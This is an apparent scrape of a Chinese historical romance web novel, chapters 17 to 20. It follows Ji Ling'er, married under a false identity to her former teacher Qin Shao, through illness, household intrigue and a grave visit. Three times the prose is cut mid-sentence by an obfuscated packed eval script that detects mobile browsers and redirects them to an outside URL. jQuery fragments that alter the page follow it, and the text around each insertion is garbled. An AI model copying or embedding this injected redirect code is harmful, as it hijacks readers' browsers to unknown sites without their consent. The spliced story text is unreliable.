姚氏哼了一声，别过脸去不再言语。 老夫人轻咳两声，打圆场道：“好了，好日子里何苦为道听途说的事情争执，我瞧芮宁脸色不好，你又舟车劳顿，快回去歇着，延请郎中诊脉。” “不能陪祖母用膳，孙儿代她向赔罪。”秦劭说完，带着季灵儿往外走。 季灵儿昏昏沉沉听完秦劭替她撑腰的言辞，心说他太含蓄，换她精神好些，定要当场把话挑明怼回去。 不过秦劭如此配合，实在她意料之外。 他不是向来守规矩吗？当众给长辈难堪应当不是秦家的规矩，难不成真是怜惜娘子？ 思及此，又一次为宋小姐可惜。 出了堂屋门，秦劭问她：“自己能走吗？” 季灵儿习惯性地点头。 秦劭未多言，松手任她自己走，可她脚步虚浮，每一步都走得轻飘飘，慢吞吞。他跟着放慢脚步，始终隔半步距离。 玉秀和秋棠落在后边，不约而同想，大爷见少夫人如此虚弱，不应该抱着她快些回去吗？ 又不是没抱过。 风雪愈发紧，鹅毛般的雪片簌簌落青砖路上，转瞬积了薄薄一层，季灵儿脚下打滑，身子晃了晃，自个儿站稳后叹了口气。 在原地站一小会儿，似是下了很大决心，抬眼看向秦劭，低低道：“您再抱我一次吧。” 她实在累得抬不动步子了。 “好，”秦劭应下，一口气将她打横抱起，脚步稳健地往回走。 季灵儿终于卸下力气，冰凉的脸颊埋在他颈窝，整个人棉花似的瘫软在他身上。 雪花落在青丝上，秦劭低头看了眼怀中人苍白的脸色，喉结动了动：“以后莫要逞强。” 她没力气思考他的话，轻轻“嗯”一声，闭上眼，顷刻便睡着了。 ... 郎中看诊，称少夫人因劳累加之心悸受惊，以至寒邪入体生出高热，服过药静养调理，待发汗退了热便无大碍。 秋棠照方抓药煎煮，药煎好，季灵儿仍昏睡着唤不醒。 秦劭命秋棠将她扶起来，自己端起药碗吹凉，慢慢喂她服下。 虽昏睡着，季灵儿似感知到苦涩，小脸皱成一团，灌进去的药汁被吐出许多，在她浅色里衣上洇出深褐色的痕迹。 “乖乖喝了药病才能好......听话。”秦劭变着法地哄慰，半吐半咽，勉强将药喂完，他袖口亦沾了药渍。 拭去她唇角残留，起身随手将药丸一搁，“也算喝过了，给她换身衣裳。” ... 季灵儿醒来时，发现自己竟蜷在秦劭怀中。鼻尖毫无阻隔抵在他微敞的衣襟处，脸颊贴着紧实胸膛，周身温度比火炉还暖，一时分不清源于谁。 条件反射要推开，但她没什么力气，落在秦劭身上软绵绵的一拳，对方半梦半醒，以为她又发癔症，收紧手臂，哄小孩似的在背上轻拍了两下。 “乖，乖。” “......” 熏笼里燃着安神香，此外另有一缕清冽的松木气息，是他身上独有的味道。 屋内灯烛未灭，帷帐有一半未放下，她微微抬眼，能清晰看见他喉结轮廓，下颌线条，微抿薄唇抿成一线，再往上挪，是他眉间浅浅的褶皱。 呼吸相缠，趁没有第二人知道，她壮起胆子打量他。 季灵儿对秦劭一向敬中带畏，第一次如此近距离，长时间观察他，说不清道不明的异样浮上心头。 她竟与先生同榻而眠，还躺在他怀里，这让师兄们知晓不得惊掉下巴？ 甚至颇有些想看他们惊讶的表情，一定十分精彩。 想着那场面，忍不住抿唇轻笑。 “笑什么？”秦劭忽然睁开眼。 季灵儿猝不及防对上他的目光，笑意僵在唇边，方才的好奇急转窘迫，耳尖一热，挣扎着坐起身，“我，我醒了，想起夜。” 秦劭亦撑起身，衣襟随动作散得更开些，注视着她通红的脸，嗓音带几分刚睡醒的疏懒，“披好衣裳。” 她含糊应声，手忙脚乱地越过他，趿拉着床边绣鞋，披衣往外走。 再回来时，秦劭已然清醒端坐。 季灵儿脚步黏在原地，不敢直视他还敞着的衣襟，磨磨蹭蹭到床尾，从脚边爬回里侧。 秦劭看着她恨不得缩成一团的姿态，不禁低笑。 他是什么色中饿鬼吗，至于她每次怕成这样？白日大庭广众下未见她如此避讳。 空气凝滞须臾，秦劭坐直身子道：“季凌，我们谈谈。” 声音不重，是不容拒绝的口吻。 季灵儿背靠墙壁坐着，悄悄扯了把绣被，将自己捂得更严实。 “谈什么？”她话音轻哑，透着病后的虚弱。 “圆房之事。”他说。 案上的烛火跳了跳，季灵儿猛打一个激灵，险些被自己的呼吸呛到，连连咳嗽，胸口起伏不定，“我，我尚在病中。” 秦劭无奈道：“圆房是两个人的事，讲究水到渠成，我并非强人所难之辈，你不必日日担惊受怕地躲着。” “真的？”季灵儿眼中霎时漾起惊喜，又怯怯追问：“您不怕坏了规矩被老夫人知道吗？” 秦劭看她谨慎试探的模样，起了别样的心思，故意说：“自是怕的。” 季灵儿一颗心又吊回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379881|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓子口。 “所以，”他语气一转，声音低沉而缓，“你要快些习惯。” “习惯什么？”她怔怔问。 “习惯同身为夫君的我相处。”秦劭目光灼灼，语气依旧平静。 季灵儿梗住了，不敢看他，悄悄偏挪目光，落在帷帐外挂的绣金香囊上。 秦劭似乎一定要她的回答，追问：“答应这件事也很勉强？” “不，不勉强，”她干巴巴答完，见对方还不动，小声嘟囔：“我困了，夫君。” 秦劭满意低笑：“嗯，睡吧。” 季灵儿贴着墙壁躺下，边躺边想，若是能把自己嵌进墙里就好了。 秦劭挥手放下帷帐，躺到她身边，挨得不算近。 留给季灵儿的空间只容下一个翻身，她颇为不自在，忍不住抗议：“您，您往外去一点。” “同盖一床被子，离得远，往里灌风你又该着凉了，会加重病情。”他说的一本正经，末了补充：“我方才说过，不会对你做什么。” “可.....”季灵儿羞于说出后半句。 可我醒来时你分明就在抱着我。 秦劭似参透了她的心思，淡声道：“抱你，是因为你睡觉不老实。” “......” 季灵儿噤声了，因为师父也说过她睡觉不老实。 “只是抱一下而已。” 静默许久，秦劭忽然低低说了一句，似对她解释，又似自言自语。 他连日奔波乏累，很快又睡过去。 季灵儿方才睡过一阵，现下身子有些许软，精神尚算清明，暂且睡不着，睁着眼望帐顶胡思乱想。 原来成亲是这种感觉，有一处不能轻易离开的地方，同一群性格迥异的人周旋，事事被管束，这些同她随师父住时差不多。唯二的区别是，被人前呼后拥伺候，就寝时身边多了一个人。 两者她都不太习惯。 然而客观讲，她不习惯，不代表这两件事本身不好，不必事事自己动手，至于身边人......抛却先生这层关系，应算得上一位好夫婿。 真正的宋芮宁会在哪里呢？倘若她事先知道要嫁的人不仅不丑，还丰神俊朗，对娘子也算体贴，是否就不会冒险逃婚了？ 又或者，宋芮宁更在意的，是年纪？ 思及此，季灵儿翻身面向秦劭，帷帐隔绝大半光亮，他的轮廓不再清晰，只能听见沉稳的呼吸声。 他已是而立之年，老夫人盼着抱曾孙，方淑凤定然也是盼的......先生严厉归严厉，一年来教她学会不少本事，师父说过，断不能做恩将仇报的白眼狼。 要不，给他纳一房妾室吧，既能解了长辈们的心愿，也省得他娶妻又不能圆房的困顿。 季灵儿越想越觉可行，继而考虑何时开口，如何开口......想的差不多，又转回去想自己接下来的打算。 左一榔头西一棒槌的想着，不知不觉沉入梦境。 她又梦见三年前跪在雪地里索要包袱的场景，周身寒气从梦里渗透到现实，止不住地瑟缩。 秦劭被呓语惊醒时已是天光微明，小姑娘不知何时钻回他怀中，饶是如此，瘦弱的肩膀依旧不停发颤。 与他相贴的每一寸肌肤，都滚烫骇人。 18. 装病 秦劭骤然惊醒，怕是她昨晚喝下的药量不够，病情复发了，抽出身子下榻，唤人进来添炭盆，又命人准备吃食和煎药。 睡着不能喂药吃饭，狠了狠心将人唤醒。 季灵儿比昨晚回来时好些，迷迷糊糊转醒，神识尚且困倦不堪，十分不情愿地哼了哼，带着浓重鼻音。 秦劭：“待会儿喝了药再睡。” 季灵儿眼睛还闭着，听到药字鼻尖与眉心一同皱起，翻身就要往里躲。 秦劭早料到她有此反应，连人带绣被横抱在腿上，强行将她与床榻分开。 “......做什么！”她脑袋昏沉，但总算睁开眼睛，气愤的情绪没来得及收回。 “喝了药再睡。”他重复。 季灵儿垂眸看一眼蚕蛹似的自己，无奈道：“知道了，您放开我。” 秦劭不太相信她，“不会继续躺回去？” “不会。” 松开手的刹那，小姑娘裹着被子滚回墙边，缩成一团背对着他。 “......季凌。” “药送来我就起。”她瓮声瓮气回道，眼帘已经撑不住合上了。 秋棠和玉秀端着清粥和药碗进来时，她已经同周公摆好棋盘，赖着不肯转醒，几欲抬手落子，肩膀被一道力量锁住，不由分说将她从梦境中扯出。 “......” 秦劭眸光沉沉，“我们说好的。” 恐他再把自己抱成蚕蛹，季灵儿耷拉着脑袋，磨磨蹭蹭爬起来。 秦劭侧身坐在榻边，试过粥碗温度递到她面前，“自己喝？” “我没病到不能自理的程度。”睡不饱觉的季灵儿脾气不大好，回怼起来不顾面前是谁。只是顶着一头乱发，带着将醒未醒的迷糊劲儿，眼睛半睁不睁瞪人，威慑力细微，倒显得整个人又娇又憨。 她食欲缺缺，口中苦涩，对付两小口再难下咽，丢下瓷勺将碗递回去，“不好喝。” 秦劭没勉强，复换了药碗递到她手里，醇苦的药味直直往季灵儿鼻尖里钻，皱眉捧着碗，鼻尖几乎要浸入苦汤中，闭气一饮而尽，苦涩在喉间翻滚，忍了又忍才没吐出来。 秦劭攫着她眼底激起的水光，忍不住抬手，在半空略一停留，转落在唇角残留的药渍上，中指轻巧且快速抿过，掠走的汁水被收拢于指腹，随着攥拳的力道渗入掌心。 一并渗入掌纹的，还有属于她的温度。 季灵儿尚未从落雪一般轻盈的触感里回过神，另有一只碗递上来。 “漱漱口。”他的声音听不出波澜。 碗中液体纯澈，以为是单纯漱口的清水，季灵儿豪饮一大口，当清甜冲洗味蕾，灵眸乍然转亮，盈盈盯着他。 水里加了桂花蜜！ 方才的水光因笑意碎在眼角，变成星星点点清辉，秦劭瞧着，无声弯起唇角。 原来小姑娘喜欢甜的。 “以后都备糖水，能乖乖吃药吗？”他的声音软下来，带着哄孩子似的温柔。 季灵儿心说她又不是孩童，仍在他的注视下鬼使神差点了头。 “继续睡吧。”秦劭满意颔首，笑容更深了些。 ... 季灵儿老老实实服了两日汤药，发热症状不再反复，唯有骨头缝里还残留着酸软，这感觉在晨起时尤为严重，眼皮更是沉得抬不起来，任谁说话都以闷哼回应。 到第四日，身上已然爽利，仍日上三竿还赖榻上不愿起身。 心想能躲一刻是一刻，横竖生病是真，借口多赖几日也不为过。 一只发凉的手背倏然贴上她额头，季灵儿本能瑟缩，皱着鼻头，薄怒地哼出一声。 “额头不烫了，还有哪里难受吗？”秦劭问。 有前几日对照，季灵儿很容易听出他声音并不温和。 心虚却没睁眼，缩在瓷枕和绣被间，故意将气息放得轻弱：“还有些头晕，浑身没力气。” 榻边一沉，他坐了下来，手指探进绣被，精准揪住她的手腕，冰凉自脉搏蔓延至四肢百骸。 季灵儿猝然睁眼，欲缩手却不能。 须臾，秦劭收回手，一本正经道，“脉象平稳有力，倒不像头晕的症候。” 他还会探脉？ 季灵儿才不信，细声哼吟：“郎中都说我内里虚浮......” “我瞧是内里懒怠。”他截断她的话，声音沉下几分。 并非不理解她借此偷闲的心思，只是不想纵容她的惰性，何况长日恹恹赖在榻上不起来走动，对身体无益。 那点小心思被毫不留情地戳破，季灵儿又臊又恼，启唇正欲争辩，从外间传来的通报声。 “大爷，老夫人遣了人来，请您过去一趟。” 秦劭蹙眉，看了眼榻上立刻“昏沉睡去”的人儿，无奈摇了摇头，起身整饬衣襟往外走。 * 老夫人捧着手炉，等孙儿行了礼，便屏退左右。 “日前来府上闹事的背后指使查出来了。” 秦劭并不太意外：“可是与边伯有关？” “是他们。”老夫人叹了口气，面上露出些复杂神色，“边永昌与咱们也算多年故交，如今竟想了这昏聩法子来使坏，真是越老越糊涂！” 她顿了顿，看向秦劭：“你既心中有数，打算如何？” 秦劭目光微冷：“既是他先破了情分，孙儿绝不会容情。” “你有主张就好，我便不多问了......芮宁身子如何了？” 赈济乃每年惯例，有成熟的章程可循，少有差池，老夫人原想借此观察她品性，怎料遇上染疫病的流民，无论是闹出乱子，还是连累孙媳妇伤身子，皆非她所愿见。 不过这位孙媳妇遇事有决断，倒叫她颇感欣慰。 “高热已退，想是没大碍了。” “她刚过门，受惊又受累，年节前的晨昏定省就免了吧，让她好生将养，不必急于跟着你母亲操劳，你也多抽些时间好生陪陪她。” * 秦劭回到房中时，室内静悄悄的。 季灵儿紧闭着眼，呼吸匀长，装得极像，若非微微颤抖的眼睫露馅的话。 他在榻边看了她许久，先前想磨她性子的念头，渐渐被另一种情绪取代。 小姑娘天生一副好容颜，不施粉黛已是如雪般娇白，玉颊微瘦，或因闷在被中的缘故，桃腮晕染，配上淡粉唇色，又因安静躺着，倒生出几分惹人怜爱的娇态。 原就是个妙龄女子，娇些是应当的，他或许不该太过苛责。 何况眼前躺在榻上的，除了是他弟子，更是他八抬大轿迎进门的娘子。 “祖母说免了你的晨省，让你好生歇着。” 话音落，绣被轻轻颤动。 “她还说，”秦劭继续道，唇边噙了极淡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379882|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑，“让我好好陪你，照顾你。” 季灵儿的眼睫颤得厉害，险些维持不住。 他在榻边坐下，语气缓而沉：“所以，你还要病下去吗？” 能正大光明休息还装病做什么，季灵儿睁开眼，里面亮晶晶的，“老夫人待我真好！” 多了溢出眼眸的星光，便比装睡时多几分灵动与精怪，秦劭凝着她，几乎是无意识地伸手点了她鼻尖。 “还真是给点银子就推磨。” 两人皆是一愣，脸上的笑意未褪，新添几分迟疑。 秦劭略显僵硬收手，板正脸色道：“祖母是心疼你，你病好了可要知道回报。” 季灵儿鼻尖还留着他指尖触感，笨拙地点头掩饰，少顷，满含期待问：“那年后回学堂的事？” “依你。” * 正院。 秦劭离开后，老夫人问吴嬷嬷：“依你看，宗劭待芮宁如何？” 吴嬷嬷垂首思忖片刻，认真道：“大爷是疼爱少夫人的。” 老夫人不以为然，以她对孙儿的了解，当众维护，疼爱仅占一两分，余下七八分皆尽夫婿之责。亦是不驳她这做祖母的面子，毕竟人是她选的，亲事是她拿老骨头威胁他应下的。 思及此，捻佛珠的动作顿下，道：“他过早当家，性子养得沉稳冷硬，待人接物倒是有分寸，却也少了热络。” 吴嬷嬷：“我瞧着少夫人是个热性子，正与大爷相合。” “你净会拣好听的哄我，真当我老糊涂了。”老夫人轻叹，目光落在雕花窗前的盆景上，红梅未开，唯有干枯缠绕的虬枝。 “哪能呢，大爷回来那日您可是亲眼瞧见的，少夫人楚楚地一示弱，大爷便怜惜的将人护着，怜爱怜爱，怜的多了，自然能生出爱意来。” 老夫人听着这话，终于露出淡淡笑意，佯嗔她一眼，道：“一把年纪的人了，还把不羞臊的挂嘴边。” 吴嬷嬷也笑：“是您要听真话我才说的，再说，您不也成日地盼着派去的丫头回话。” 一言将老夫人说的显出赧色来，轻斥道：“你这老货，越发没上没下了......盼着有何用，回话全是气人的。” 自成亲以来，她专门派身边的人去那院轮值守夜，可来报回来的消息全是“安安静静，没半点响动。” 吴嬷嬷却有不同看法：“大爷向来顾虑周全又重孝道，明知您惦记，照理诓也要诓您安心，免得少夫人难做，偏生回话的口径统一，反倒显得刻意了。咱派去的人并非日日当值，兴许大爷顾及少夫人脸面，有意避开行房的日子。” 老夫人品咂出滋味，神情微动，“这的确像他做出来的事。” 吴嬷嬷点头：“您可是亲自验过的绢帕上的落红，新婚燕尔，开了头尝了甜，还愁后面不上心吗？ 一番话给老夫人哄得心情畅然，当即让厨房煨两盅药膳送去，小夫妻俩各一盅。 连喝两日药膳，纵然季灵儿迟钝也察觉到老夫人用心，这哪里是让她休息，分明是借着养病的由头，让她抓紧为秦家开枝散叶。 待丫鬟退去，季灵儿赌气地将碗往前一推，“我不要喝了。” 她又不与他生孩子。 秦劭坚持：“全是好食材，喝了总没坏处。” 药膳再好终究带着苦味，季灵儿不喜苦，脑子一热，提前道出计划：“您想不想纳妾？” 19. 故人 秦劭眼中掠过诧异，很快恢复平静。 “不想。” “为何？”但凡大户人家的爷们，多的是妻妾通房，美其名曰显门庭兴旺。 季灵儿紧盯着，生怕错过他口是心非的破绽。 “没精力。” “您不会是不......”觑见对方眉头拧起，季灵儿没敢往下说。 秦劭不懂似的发问：“不什么？” “不能人道？”她想了半天才想到这个词。 “......” 一旁的玉秀秋棠惊得舌挢不下，深深埋首，忍着不敢笑出声。 秦劭挥手示意二人退下，盯着季灵儿慢悠悠开口：“季凌，知道对男子说这话会引发何种后果吗？” 季灵儿怔怔摇头。 垂在膝上的手腕忽然被他牢牢钳住，下一瞬，秦劭借力倾身靠近，鼻息洒在她耳畔，轻声低语。 一语毕，季灵儿耳根酥麻，整张脸腾地红透，眼神东躲西藏，半晌才找回自己的声音，结结巴巴道：“您，您怎能说这种话？” “好教你明白话不能乱说，现在知道了？” 秦劭声音同方才无二，似在教一件极寻常的道理，说罢神态自若地坐直身子，手还握在纤细的玉腕上，感受指下横冲直撞的脉搏。 季灵儿试着挣开，反被扣得更紧，只好乖乖回答，“知道了。” 秦劭意味深长看她一眼，松开手，将汤盅推回她面前。 “现在肯喝吗？” 季灵儿不情愿地拿起汤勺，老老实实喝完。 ... 午后季灵儿放秦劭独自休憩，由秋棠引着来到二房院落。 路上秋棠同她介绍，二房的老爷和少爷常年在外行商，唯在年节归家几日，原是这几日便回来的，因沿途州府暴雪，不得不绕道而行，耽搁了归期。 这院的夫人和少夫人都是温和性子，待人宽厚相处也和睦，从未有什么是非争执闹出去。 夫人和少夫人，指的是云氏和姚音然。 季灵儿回想几次见面的情形，与秋棠所言无异，又隐隐觉得古怪，姚音然清冷似俗世客，给人感觉隔着层纱，云氏嘛，许是同姚氏关系太近，季灵儿对她的温和生不出真切好感，遂打算径直去寻姚音然。 “少夫人，照礼数咱来此应先拜见二夫人，况且二夫人多次在人前替您解围，您病中她还专门派人送来补品，于公于私您都不好越过她。”秋棠规劝。 季灵儿只好先往云氏处。 云氏见她到来，面上笑意温软，拉着手一阵嘘寒问暖，又让丫鬟端来养生茶，关怀备至，倒比方淑凤更像婆母。 季灵儿一句句应了，陪着聊几句闲篇，提出前去探望姚音然。 云氏笑着应允，临走时叮嘱她日后常来，省得她一人守着空院寂寞。 走出几步，季灵儿回头望了一眼，云氏站在门口目送，日光明亮照在她慈和的笑脸上，却衬得身后屋子阴沉晦暗。清静祥和的院子，倏然生出压抑之感。 她冲云氏扬起一抹笑：“外头冷，您进去吧。” 姚音然居在隔壁院子，穿过垂花门，迎面是一棵红梅，未到开花时节，空有虬曲枝桠伸展，在不算大的素净庭院里显得孤傲又寂寥。 屋内幽香隐隐，窗下罗汉床，姚音然侧倚小几闲看书卷，身着淡紫缎面圆领对襟褂子，上面的折枝梅花纹样颇衬她清冷气质。 见季灵儿进来，姚音然神色淡然如初，不显亲近亦不惊讶，合上书册，略略坐直身子示意她入座，“大嫂嫂。” 季灵儿走近，瞧清她手中是本游记。 原以为她会读医书。 注意到她的目光，姚音然将游记搁在案几上，“大嫂嫂是想问流民之事？” 季灵儿摇摇头，她已让秋棠打听过，流民那里有商行接手，一切安置妥当，此番是专门为姚音然而来。 “我来探望你，先前听祖母说你身子一向不大好，此番又照顾得疫病之人，可有不舒服吗？” “大嫂嫂有心了，我身子无碍。”姚音然微微勾起唇角，笑意浅薄，斟了杯茶递过去。 茶汤清透，映着季灵儿眉眼间的犹豫。 姚音然虽一口一个大嫂嫂叫着，实际比季灵儿年长五岁，又是大家族出身的小姐，言谈自由一派从容气度。看透对方的犹豫，道：“大嫂嫂有话直说便是，不必顾及其他。” 季灵儿与姚音然并不相熟，贸然开口确实唐突，话在舌尖转了转，半晌才道：“我只是好奇，你明明自身尚孱弱，为何还冒着被传染的风险去医治旁人？” “正因我自幼体弱，深知病痛之苦，才要尽自己所能帮扶别人。”姚音然答得平静利落，更像是客套的场面话。 而在季灵儿看来，医者有仁心，却未必无私心。 随后又问：“那，初见时你在用膳时暗暗助我，亦是出于同理之心？” 姚音然摇头，道：“那次是受人之托。” “嗯？” “大伯兄特意让阿吉带话，恐嫂嫂初来乍到生疏，让我在旁照应着些。” 大伯兄......竟是秦劭交代的？ 季灵儿倏然害羞起来，眸光微敛，道：“无论怎样，都要多谢你。” ... 转眼到腊月二十八，未至卯时秦劭按点醒来，天色未明，刚坐起身，听见身旁传来一声睡意浓重的问：“什么时辰？” 他险些以为是梦中呓语，直到对方揉着眼睛又问一遍，方开口答她。 季灵儿难得没贪觉，利索地爬起身。 “今日是师父忌日，我得准备祭品去拜祭。” 简单梳妆后，季灵儿亲自去小厨房忙碌，待她端着食盒回到堂屋，发现秦劭还坐在暖炕上，颇为意外道：“您怎么未去商行？” 秦劭：“事情交代于旁人了，我今日陪你去祭拜。” “其实不必的。”季灵儿想拒绝。 秦劭道：“你我夫妻一体，祭拜师父乃大事，我理应相陪。” 吉安和曹县交界处有一座海拔仅五百余米的孤山，山顶是清心庵，季璇的坟冢在后山半坡处。 马车抵达山脚时，天色已然大亮，后山土路崎岖，枯枝错落覆盖其上，季灵儿熟悉路径，脚步轻稳走在前头，秦劭默不作声地护在她身侧。 约莫走了半炷香，至一处杂草丛生的荒地，错落立着几处坟茔，季灵儿走到其中最干净的一座坟前停下，取过食盒和香烛纸钱放到一旁，蹲身拔除新长出来的杂草。 秦劭示意阿吉与玉秀退远，只身上前帮忙。 “我带来了您爱吃的，全是亲手做的，没有偷懒......” 季灵儿摆好祭品，点燃香烛，跪在坟前絮絮念叨，又将几句不方便说出口的放在心中默念。 寒风穿林而过，萧索的呼啸声似游魂呜咽，吹乱她鬓边碎发，燃烧殆尽的纸钱打着旋儿飘向半空，散成零星的灰烬，再纷纷扬扬飘落，像雪一般，亦像远隔经年的思念在闪烁。 秦劭站在她身后一步之遥，看风将灰烬吹得纷扬，忽而想到三年前的雪天，季璇一身风霜到商行找到他，说要托付一个人给他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379883|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “她是个苦命人，我日后难再庇护她，恳求秦大当家照拂一二。” “为何是我？”他问。 在此之前，他同季璇素未谋面，只听过些关于她的事迹：一介女流力挽狂澜救百年票号于危难。 秦劭乃河东府商界传奇人物，季璇对他不陌生，坦然答道：“她很有做生意天赋，善加引导必能有所成，但商行大多瞧不起女子，这条路并不容易走......大当家知人善任，断不会辜负她的才能。” 一个在这条路上被逼入尽头的女子，反过来托付他照拂另一位女子继续走下去，秦劭觉得她自相矛盾：“你明知不易为何让她步你后尘？” “世上之路，无一不是人走出来的，于此您应该比我更清楚。况且，这也是她自己的选择，我相信她能做到。”季璇面上血色稀薄，说出来的话却掷地有声。 秦劭敬佩季璇，更敬佩她这一番话，顶着两句突如其来的，沉甸甸的信任，应了她的托付。 碎雪一般的灰烬落在季灵儿发髻和肩头，秦劭走上前，抬手替她拂去。 季灵儿道谢起身，刚要去收拾香烛祭品，却见秦劭屈膝，郑重跪在她跪过的圆垫上，一丝不苟的玄色大氅沾染草屑和泥土。 在她错愕的注视下，秦劭对着坟茔叩首三拜，随后腰身挺直，目光落在木碑上，在心中默诉几句。 “既受君托，敢不尽心，秦某会照顾好她。” “待时机妥当，她若想，秦某也会放她离开，一诺既定，绝不食言。” 石砖围住的纸钱堆里，火星子腾起又熄灭，吞噬最后几片残纸。季灵儿望着秦彻宽阔的肩背出神，不慎被灰烬迷了眼。 抬手揉了揉，再睁眼时，他已站起身来。 秦劭见她眼眶泛红，以为是心中难过，柔声安慰：“逝者已矣，你还有很长的路要走，莫太伤怀。” 说罢将人揽入怀中，掌心轻拍她的背，哄道：“想哭便哭罢，此处没有旁人。” 季灵儿：...... 谁说她要哭了？ 拜祭结束，季灵儿借口为季璇燃灯祈福，提出去清心庵。秦劭身为男子不方便跟随，前往半山腰的茶肆等候。 季灵儿在佛堂燃灯拜完，凑到一旁敲佛钵的小尼姑清珞跟前，悄声问：“师太呢？” 清珞看着眼前身穿牙白色素面妆花小袄，青丝挽髻，别银钗珠环的年轻妇人，险些没认出，“灵儿？你为何这副打扮？” “秘密，改日再同你说，”季灵儿冲她眨眨眼，“师太呢？” “在偏殿同施主解签。” 季灵儿在偏殿外候着里头妇人出来才接替进去，递上手中签条：“师太可否替我解一签？” 明尽师太闻声抬眼，敛笑嗔道：“跑哪里野了这些日子？” 季灵儿嘿嘿一笑，故意卖关子道：“这不回来了么，看您能否从签中解出来。” 签文曰：云深何处觅仙踪，误入青禾逢旧容。风雪几重惊堂雀，玉盘轻落碧泉中。 明尽看过签文，抬眼打量季灵儿，缓缓开口：“因缘际会逢遇故人，却带风雪之忧，本是劫中藏机，可碧泉落玉盘，乃水中映月，是清而易碎之象，有不慎成空的风险。” 季灵儿茫然听着她用另一段莫测的话解释，“我不懂，您说直白些罢。” 明尽叹气，无奈道：“直白说，签文中的故人与你渊源颇深，但他的出现会为你带来动荡，譬如水中月，看似圆满，实际经不得半点风波。” 季灵儿依旧似懂非懂，喃喃道：“故人......是谁？” 20. 师兄 明尽：“这便需你自行探寻了，花繁柳密处，拨得开，才是手段①，你务必切记此话。” 季灵儿虽不太懂，仍乖乖点头应下，将签文小心叠好收入袖中，恢复往日笑颜，道：“我这一段日子都不回来，您莫要太想念我哟！” 她往外跑是常有的事，明尽见怪不怪，只嘱托几句万事当心。 季灵儿同她话了些闲常，直到有香客来解签才起身作别，走到门口折回，道：“险些把正事忘了，曹县的宋员外家近期会来庵中捐功德，届时您不要太意外。” 明尽蹙眉正欲细问，人儿已一溜烟出了殿门。 季灵儿与玉秀一前一后沿清心庵门前长阶向下走，过半途，遥见一颀长身姿立于石阶最末处，丰神隽上，态度安闲，犹如山间迎客松。 正是原该在半山腰茶肆等候的秦劭。 此处临近庵门，少有男子往来，他立得泰然自若，引得不少来往香客侧目窥视，胆大些的，甚至驻足打量，目光几乎在他身上擦出火花，还流连不肯离开。 倒是没有敢上前搭讪的。 亏得他今日穿着玄色大氅，内里亦是鸦青衣袍，若换成招摇颜色，面上再挂几分笑，怕能引得不少胆大姑娘纠缠。 季灵儿越想越觉那画面有趣，步下石阶后没忍住道：“您能否笑一个？” 看他穿的花枝招展是不能了，索性退而求其次。 “......” 秦劭凝眸看她，温润的黑眸盛着探究，无声问她为何。 季灵儿自不会说真话，只道：“我想看您笑。” 小姑娘仰着嫣然含笑的脸颊，眸光如春水盈盈，带着俏皮与期待。 秦劭被她盯着反倒忘了如何笑，唇角不自然地牵起弧度。 “您这笑的也太牵强了。” 和他堆的雪人一样丑！ 季灵儿不满意，樱唇无意嘟起，想了想，道：“您在心中想一件开怀的事情试试呢？” 开怀之事......秦劭一时真想不起来。 默然片刻，收了嘴角弧度，目光重新聚焦在笑靥上，“你究竟要做什么？” “没什么，”眼见勉强不来，季灵儿失望地收了眼，“您怎么到这里来了？” 光芒骤然收走，秦劭心中竟生出几分空落，语气连着眼尾的弧度一同降下。 “雪未化尽，怕下山路不好走。” “您特意来接我的？” “嗯。” 季灵儿感慨：“看来大家说的不错，您真是事事思虑周全。” 秦劭听言轻蹙眉峰，对这评价并不完全认同，反问：“你是这么以为的？” 季灵儿点头，“这条路我常走，您其实不用专门来一遭。” “......”秦劭张了张唇，终是半个字没说出来。 “我们走吧。”季灵儿说着转入右侧下山小径，秦劭眸中人影消失，空余道路边沿的石柱和其上残雪。 几近午时，残雪映着暖阳折射出细碎光辉，像极了她眸中光芒，又不及其灵动。 秦劭心中怔忡莫名，经阿吉提醒收了神思抬步追上。 她脚步轻快，他阔步从容，二人一路无话，直至半山腰，临近茶棚的转角处，一道熟悉身影骤然闯入季灵儿视线。 抬手欲打招呼，意识到不妥，当即调转脚步小跑到秦劭跟前，小声道：“是云师兄。” 秦劭闻声抬眼，果见不远处有一位着宝蓝灰鼠袄的俊秀少年，对方沿同一条路往山上走。两人目光交汇的刹那，少年脸上露出讶异，快步迎了过来。 脚步声逼近，季灵儿躲无可躲，掀起秦劭的大氅钻进去，将脸死死埋在他胸前。 “......” 秦劭的身体僵了一瞬。 “师父？真是您啊！”清越的嗓音响起，带着显而易见震惊，“您怎会在此？” “陪内子进香。”秦劭答得简略，说话间一只手自然环过她的背，大氅顺其自然将怀中人整个罩住。 云衡因这道动作注意到他怀中还有一人，呆呆静了一息。 